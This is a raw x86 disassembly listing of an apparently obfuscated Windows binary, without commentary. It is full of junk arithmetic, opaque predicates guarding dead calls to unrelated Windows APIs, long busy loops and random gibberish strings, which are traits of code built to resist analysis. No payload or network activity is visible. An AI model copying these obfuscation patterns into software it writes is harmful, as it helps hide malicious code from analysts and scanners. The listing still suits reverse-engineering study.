mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xb9c], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x46d6e2
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x46d72b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x6b8]
mov dword [eax + 4], ecx
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x46d72b
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
imul eax, eax, 0x4142
sub eax, 0x4bba03a
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 3
setne cl
mov dword [ebp - 0xb9c], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x46d75f
mov dword [ebp - 0x1c], eax
jmp 0x46d756
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
jne 0x46d79c
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff1
jle 0x46d74b
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe5
jg 0x46d746
lea ecx, [ebp - 0x6b8]
call fcn.00450e01
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0x38], ebx
jne 0x46dfcd
push edi
lea ecx, [ebp - 0x868]
call fcn.00450d2f
mov dword [ebp - 0x40], 0xb999fb0
mov dword [ebp - 0x2c], 0
jmp 0x46d7b6
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x868]
mov dword [eax + ecx*4], 0xfb63
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x46d7a3
mov eax, dword [ebp - 0x868]
mov eax, dword [eax]
add eax, 0x45cd
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x46d7eb
push eax
push 0x163f
push 0xa88
push 0xa70
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
lea ecx, [ebp - 0x868]
call fcn.00450e01
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x46d9c5
mov dword [ebp - 0x1c], 0xa48bbca6
mov dword [ebp - 0x2c], esi
push 3
lea ecx, [ebp - 0x2d8]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x46d841
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2d8]
mov dword [eax + ecx*4], 3
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jl 0x46d826
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x46d855
mov dword [ebp - 0x40], 0xdc4b
cmp dword [ebp - 0x40], eax
jne 0x46d85b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
jg 0x46d846
cmp dword [ebp - 0x1c], eax
jne 0x46d88b
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
add ecx, 0xcf46e11d
neg ecx
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp eax, dword [ebp - 0x1c]
je 0x46d88b
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2d8]
cmp dword [eax], 0
jne 0x46d8a6
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x46d8a8
mov eax, edi
add eax, 0xd0561264
je 0x46d994
mov dword [ebp - 0x48], 0xffff
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x58], 0xfafeceb2
mov dword [ebp - 0x3c], 0xfffd
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x54], 0xfffffffe
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x46d8eb
mov dword [ebp - 0x40], 0xfff9
mov dword [ebp - 0x54], 0xadbe56f6
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x2d8]
call fcn.00450e01
push 0
push 0x1921
push 0x129d
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [ebp - 0x2c], 0
movdqa xmm0, xmmword [0xabe770]
movdqu xmmword [ebp - 0xbd8], xmm0
lea ecx, [ebp - 0xbd8]
lea eax, [ebp - 0xbc8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x808]
call fcn.00450ddb
mov dword [ebp - 0x50], 0x88586fd5
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x808]
mov eax, dword [ebp - 0x2c]
cmp dword [ecx + 8], eax
jle 0x46da5a
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x46da41
push 0x398
push 0x3e6
push 0x196e
call dword [sym.imp.USER32.dll_EnableScrollBar]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46db08
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x46db08
mov dword [ebp - 0x3c], 0x6a0c
cmp dword [ebp - 0x3c], 0x6cff
jle 0x46dab3
xor edi, edi
xor esi, esi
mov eax, edi
mov ecx, esi
shl eax, cl
cdq
push edx
push eax
lea ecx, [ebp - 0xe40]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push 0
push 1
lea ecx, [ebp - 0xe40]
call fcn.0045110b
inc esi
cmp esi, 0xa0d
jl 0x46da6e
inc edi
cmp edi, 0x3033
jl 0x46da6c
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x46dac3
call dword [sym.imp.USER32.dll_EndMenu]
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x3c], 0x66d7
jge 0x46dade
push str.mzut_ngtubbn_hfpfrk_rbutzsei_prcg_xskwqbmgf_vyd_famte_sdfmsn
call fcn.004b40b7
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x46db05
xor edi, edi
inc edi
mov dword [ebp - 0x50], 0xfffffff9
jmp 0x46dbe2
mov dword [ebp - 0x58], 0x24f63abe
mov dword [ebp - 0x48], 0x5b01d976
push edi
lea ecx, [ebp - 0x6d0]
call fcn.00450d2f
mov dword [ebp - 0x2c], 0
jmp 0x46db4a
cmp dword [ebp - 0x50], 0xfffffffd
jle 0x46db14
lea ecx, [ebp - 0x808]
call fcn.00450e01
xor eax, eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x2c], 0x5c68ec0a
mov dword [ebp - 0x48], 0xfff7
mov dword [ebp - 0x24], ebx
or esi, 0xffffffff
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0x8ff7673e
mov dword [ebp - 0x2c], eax
jmp 0x46dd12
dec dword [ebp - 0x28]
jmp 0x46d5c3
dec dword [ebp - 0x20]
jmp 0x46d560
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x31e42a43
mov dword [ebp - 0x7c], 0xfffffffe
mov dword [ebp - 0x78], 0xfffffffe
mov dword [ebp - 0x74], 0xfffffffe
mov dword [ebp - 0x70], 0xfffffffe
mov dword [ebp - 0x30], 0x75d5f8d9
mov dword [ebp - 0x30], 0x8475761a
mov dword [ebp - 0x30], edi
push 3
lea ecx, [ebp - 0x980]
call fcn.00450d2f
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x18], 0
jmp 0x46e047
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x980]
mov dword [eax + ecx*4], 0x674f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x46e034
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x980]
call fcn.00450e01
mov dword [ebp - 0x20], 0xffffffe8
xor ebx, ebx
cmp dword [ebp - 0x20], 0xfffffff4
jge 0x46f1c2
mov dword [ebp - 0x48], 0x4f3d4e6
push 3
lea ecx, [ebp - 0x55c]
call fcn.00450d2f
push 4
pop ebx
push ebx
lea ecx, [ebp - 0xabc]
call fcn.00450d2f
mov dword [ebp - 0x30], 0xa221525
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xb611fb8e
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46e0c8
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x55c]
mov dword [eax + ecx*4], 0x3cfc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x46e0ad
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x46e0e6
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xabc]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x46e0d0
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46e0f7
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov eax, dword [ebp - 0x55c]
mov eax, dword [eax + 8]
inc eax
xor ecx, ecx
cmp eax, 0x4abc2489
setg cl
cmp ecx, 0xfffd
sbb eax, eax
neg eax
push 5
pop ecx
sub ecx, eax
mov eax, 0xa48a2b8e
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0xabc]
call fcn.00450e01
lea ecx, [ebp - 0x55c]
call fcn.00450e01
mov dword [ebp - 0x18], 0
jmp 0x46e158
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd7c], 0x94d03572
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x46e147
mov dword [ebp - 0x48], 0xfffffffd
xor ebx, ebx
cmp dword [ebp - 0x48], 0x11
jg 0x46f067
mov dword [ebp - 0x2c], 0x4b666a75
mov dword [ebp - 0x58], 5
mov dword [ebp - 0x28], 0xc3d6c1df
push edi
lea ecx, [ebp - 0x430]
call fcn.00450d2f
mov dword [ebp - 0x24], 0x8bbd188
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x50], 0xfffffffd
push 7
pop ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], 0xa1
cmp dword [ebp - 0x3c], 0x2a1
jle 0x46e209
xor edi, edi
xor esi, esi
mov eax, esi
or eax, edi
cdq
push edx
push eax
lea ecx, [ebp - 0xe64]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push 0
push 1
lea ecx, [ebp - 0xe64]
call fcn.0045110b
inc esi
cmp esi, 0x5562
jl 0x46e1c0
inc edi
cmp edi, 0x5ca
jl 0x46e1be
xor edi, edi
inc edi
or esi, 0xffffffff
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x3c], 0xffffffdd
jge 0x46e221
push str.rpddn_xtmtfvb_ouilpeh_pwlwzksv_rjyrhgxm_suuvuhyxl_oqqsgvuz_knogeot_xawzmfhq
call fcn.004b40b7
pop ecx
mov dword [ebp - 4], esi
jmp 0x46e24c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x46e262
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x430]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x46e253
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x58], eax
dec dword [ebp - 0x24]
xor ecx, ecx
mov edx, dword [ebp - 0x430]
cmp dword [edx], ecx
sete cl
xor eax, eax
test ecx, ecx
setg al
imul eax, eax, 3
mov dword [edx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, 0xfffffffb
setne cl
xor eax, eax
cmp ecx, edi
setge al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
sub edx, eax
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x38]
jg 0x46e2d1
mov eax, dword [ebp - 0x430]
cmp dword [eax], 0
je 0x46e2d1
mov ecx, edi
xor eax, eax
jmp 0x46e2d5
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x2c], ecx
je 0x46e2e1
cmp dword [ebp - 0x58], eax
mov edx, eax
je 0x46e2e3
mov edx, edi
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp eax, ecx
setne dl
sub edx, 0x1f997ec5
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x50], edx
lea ecx, [ebp - 0x430]
call fcn.00450e01
mov dword [ebp - 0x24], 0x730f94f3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x46e341
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d8], 0xec2e0cf5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x46e328
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46e354
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor eax, eax
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], eax
jl 0x46e3b5
mov dword [ebp - 0x40], 0x859b
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x1d8], 0
jne 0x46e3b3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1d8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1d8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1d8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
dec dword [ebp - 0x24]
jns 0x46e360
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x46e3d7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x174], 0x17059141
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x46e3be
xor eax, eax
mov dword [ebp - 0x170], 4
cmp dword [ebp - 0x170], 0xa
jg 0x46eb39
mov dword [ebp - 0x50], 0x3ae35568
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x1a
jg 0x46e595
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x46e427
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x528], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x46e40e
xor eax, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], eax
jl 0x46e588
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x46e54d
push 3
lea ecx, [ebp - 0x304]
call fcn.00450d2f
mov dword [ebp - 0x3c], 0x7d9c
cmp dword [ebp - 0x3c], 0x7e1a
jle 0x46e49b
xor edi, edi
xor esi, esi
mov eax, edi
mov ecx, esi
shl eax, cl
cdq
push edx
push eax
mov ecx, 0xaca3b8
call fcn.00450c1a
inc esi
cmp esi, 0x2f68
jl 0x46e466
inc edi
cmp edi, 0x6cbf
jl 0x46e464
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x3c], 0x79c3
jge 0x46e4ba
mov edx, str.wkcdw_ipe_mrahips_xxohnmx_tja_yfbucybt_jpjp_jwsiprgjf_wlwbuquv_zcnn_cxjo_tetotc_eaifiwa_shauked
mov ecx, 0xaca3b8
call fcn.004525c0
mov dword [ebp - 4], esi
jmp 0x46e4e2
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x46e580
mov dword [ebp - 0x54], 0xfffffffd
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x528]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x528], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x46e555
xor eax, eax
dec dword [ebp - 0x2c]
jmp 0x46e42a
mov eax, dword [ebp - 0x50]
inc dword [ebp - 0x50]
xor eax, eax
jmp 0x46e3f8
mov dword [ebp - 0x50], 0xd303f024
movdqa xmm0, xmmword [0xabe780]
movdqu xmmword [ebp - 0xbf8], xmm0
lea ecx, [ebp - 0xbf8]
lea eax, [ebp - 0xbe8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1a8]
call fcn.00450ddb
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x4c], 0xffff
xor ebx, ebx
mov dword [ebp - 0x24], ebx
jmp 0x46e5eb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc68], 0xeac8b13e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x46e5da
mov dword [ebp - 0x24], ebx
jmp 0x46e607
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4c8], 0x57736d0c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x46e5f6
mov eax, dword [ebp - 0x1a8]
add eax, 4
mov dword [eax], ebx
cmp dword [eax], 2
jg 0x46e88a
mov dword [ebp - 0x18], 0x6568
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 0xdb959c45
mov dword [ebp - 0x38], 0x694d2b5f
mov dword [ebp - 0x8d0], 0x2e3ca369
mov dword [ebp - 0x8cc], 0x2e3ca369
mov dword [ebp - 0x8c8], 0x2e3ca369
mov dword [ebp - 0x8c4], 0x2e3ca369
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x38]
dec ecx
xor eax, eax
cmp ecx, esi
setg al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, 0x9f7c8b16
cmp ecx, eax
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setne dl
mov dword [ebp - 0x8c8], edx
mov eax, dword [ebp - 0x38]
imul eax, edx
mov dword [ebp - 0x40], eax
xor ebx, ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x46ebce
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x18], ebx
jmp 0x46ebf5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbc], 0x10f7a73d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x46ebe4
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xbc]
xor ecx, ecx
cmp eax, 6
setle cl
mov eax, dword [ebp - 0xb8]
add eax, ecx
xor ecx, ecx
cmp eax, esi
setg cl
mov eax, dword [ebp - 0xb8]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0xbc]
xor ecx, ecx
cmp eax, edx
setne cl
mov eax, dword [ebp - 0x50]
sub ecx, eax
add ecx, 0x17018ad8
je 0x46ec5b
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x46ee2f
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
jmp 0x46ee2f
push 3
lea ecx, [ebp - 0x898]
call fcn.00450d2f
mov dword [ebp - 0x18], ebx
jmp 0x46ec80
cmp dword [ebp - 0x18], 3
jl 0x46ec6d
mov byte [ebp - 0x11], bl
push 2
lea ecx, [ebp - 0x994]
call fcn.00450d2f
push 2
lea ecx, [ebp - 0x730]
call fcn.00450d2f
mov dword [ebp - 0x1c], ebx
jmp 0x46ee62
push 4
lea ecx, [ebp - 0xb40]
call fcn.00450d2f
mov dword [ebp - 0x18], ebx
jmp 0x46f08c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb40]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x46f079
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f0a5
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f0b5
push ebx
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
lea ecx, [ebp - 0xb40]
call fcn.00450e01
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f1ba
mov dword [ebp - 0x2c], 0x5b0e446d
push 3
lea ecx, [ebp - 0x838]
call fcn.00450d2f
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x50], 0xa9f4f9a
mov dword [ebp - 0x40], 0x7ae9f903
mov dword [ebp - 0x1c], ebx
jmp 0x46f10e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x838]
mov dword [eax + ecx*4], 0x6e9f0866
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46f0fb
mov dword [ebp - 0x1c], ebx
jmp 0x46f12a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x498], 0x72b752bf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x46f119
mov dword [ebp - 0x1c], ebx
jmp 0x46f142
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd54], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x46f135
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x838]
mov dword [eax], edi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edi
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp eax, edi
setg cl
mov eax, dword [ebp - 0x50]
xor edx, edx
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x494]
lea ecx, [ebp - 0x838]
call fcn.00450e01
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
inc dword [ebp - 0x20]
jmp 0x46e064
mov dword [ebp - 0x3c], 0x8094a188
mov dword [ebp - 0x30], 0x822cb3a3
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x5b0e
mov dword [ebp - 0x18], ebx
jmp 0x46f1ec
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcc8], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x46f1df
mov eax, dword [ebp - 0xcc4]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
je 0x46f269
mov dword [ebp - 0x30], 0xb0ceafd
mov dword [ebp - 0x30], 0x36f6dd8d
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xca9d6923
mov dword [ebp - 0x30], 0x5cbcef05
mov dword [ebp - 0x30], 0xdda37bb0
push 2
pop esi
push esi
lea ecx, [ebp - 0x9a8]
call fcn.00450d2f
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x46f254
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x9a8]
mov dword [eax + ecx*4], 0xd9ddcef9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x46f241
dec dword [ebp - 0x28]
lea ecx, [ebp - 0x9a8]
call fcn.00450e01
jmp 0x46f281
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f27e
push ebx
push 0xf42
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
pop esi
mov dword [ebp - 0x50], 4
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x3c], 0x2304b25b
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x28], ebx
je 0x46f2a2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x46f2b8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f2b8
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0x5b0e446d
push 3
lea ecx, [ebp - 0x748]
call fcn.00450d2f
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x2c], 0xa9f4f9a
mov dword [ebp - 0x40], 0x7ae9f903
mov dword [ebp - 0x1c], ebx
jmp 0x46f301
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x748]
mov dword [eax + ecx*4], 0x6e9f0866
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46f2ee
mov dword [ebp - 0x1c], ebx
jmp 0x46f31d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x510], 0x72b752bf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x46f30c
mov dword [ebp - 0x1c], ebx
jmp 0x46f334
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdc4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x46f327
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x748]
mov dword [eax], edi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edi
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edi
setg cl
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x50c]
lea ecx, [ebp - 0x748]
call fcn.00450e01
mov dword [ebp - 0x30], 0xbca6
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f3c5
push ebx
push 0x1921
push 0x129d
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f3da
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x28], 0x8094a188
mov dword [ebp - 0x30], 0x822cb3a3
push edi
lea ecx, [ebp - 0x568]
call fcn.00450d2f
mov dword [ebp - 0x18], ebx
jmp 0x46f408
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x568]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x46f3f9
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x46f42c
push 0x184c
push ebx
push 0x2ec
push 0x1845
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov edx, dword [ebp - 0x568]
xor eax, eax
cmp dword [edx], eax
sete al
cmp eax, edi
sbb eax, eax
neg eax
xor ecx, ecx
cmp dword [edx], eax
setge cl
mov dword [edx], ecx
lea ecx, [ebp - 0x568]
call fcn.00450e01
or eax, 0xffffffff
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x37b1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x158], 0xa8afc1da
mov dword [ebp - 0x154], 0xa8afc1da
mov dword [ebp - 0x150], 0xa8afc1da
mov dword [ebp - 0x14c], 0xa8afc1da
mov dword [ebp - 0x38], 0x2aef
cmp dword [ebp - 0x38], 0x2c37
jle 0x46f4e9
mov edi, ebx
mov esi, ebx
mov eax, edi
mov ecx, esi
shl eax, cl
cdq
push edx
